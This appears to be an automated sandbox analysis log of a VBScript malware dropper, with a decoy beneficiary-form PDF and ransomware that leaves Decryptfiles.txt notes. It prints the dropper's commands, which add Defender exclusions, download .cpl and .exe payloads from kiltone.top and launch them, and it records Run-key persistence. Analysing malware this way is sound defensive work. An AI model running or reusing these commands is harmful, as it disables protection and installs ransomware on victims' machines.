Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: efswrt.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\installs.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: Z:\scvhost\Release\scvhost.pdb source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr
Source:	Binary string: Z:\lderd\Release\lderd.pdb source: fjeljies.cpl.16.dr
Source:	Binary string: Z:\scvhost\Release\scvhost.pdbd source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\App", "0", "true");IWshShell3.ExpandEnvironmentStrings("%temp%");IWshShell3.Run("powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\App", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.ExpandEnvironmentStrings("%temp%");IWshShell3.Run("powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\App", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.", "0", "true");IWshShell3.ExpandEnvironmentStrings("%temp%");IWshShell3.Run("powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\App", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.", "0", "true");IWshShell3.Run("cmd /c control %temp%/fjeljies.cpl", "0", "true")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\fjeljies.cpl			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\fjeljies.cpl	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 593
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: Chrome Cache Entry: 593	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Decryptfiles.txt

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XPSUDTARW
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XPSUDTARW

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Writes data at the end of the disk (often used by bootkits to hide malicious code)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dd4cmrln.ljv.ps1 offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aakjs4su.ynx.psm1 offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cmijsyeu.ejv.ps1 offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3iigs5yg.am1.psm1 offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ce5tmog3.w5r.ps1 offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y25lwppa.tsg.psm1 offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdqsw1gs.ytr.ps1 offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_muq24lzp.1ro.psm1 offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\fjeljies.cpl offset: 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_10rclwu2.hdm.ps1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_czjtfiqo.ezw.psm1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wt0cmllf.f1b.ps1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nxkjeth.jqb.psm1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 104
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 262
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 1168
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 1172
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5gy5d2y.w0s.ps1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tmgfecbn.m42.psm1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\eryy65ty.exe offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Temp\eryy65ty.exe offset: 900867
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 4112
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\ATJBEMHSSB\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\AQRFEVRTGL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\BQJUWOYRTO\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\BQJUWOYRTO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\BWETZDQDIB\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HMPPSXQPQV\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HMPPSXQPQV\BQJUWOYRTO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HMPPSXQPQV\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HMPPSXQPQV\BWETZDQDIB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HMPPSXQPQV\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HMPPSXQPQV\QFAPOWPAFG.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LFOPODGVOH\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LFOPODGVOH\HMPPSXQPQV.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LFOPODGVOH\LHEPQPGEWF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LFOPODGVOH\QFAPOWPAFG.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LFOPODGVOH.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LHEPQPGEWF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LIJDSFKJZG\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LIJDSFKJZG\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LIJDSFKJZG\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LIJDSFKJZG\SNIPGPPREP.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LIJDSFKJZG\VWDFPKGDUF.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LIJDSFKJZG.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\LIJDSFKJZG.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\NIRMEKAMZH\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\QFAPOWPAFG\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\QFAPOWPAFG.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\UBVUNTSCZJ\Decryptfiles.txt offset: 0
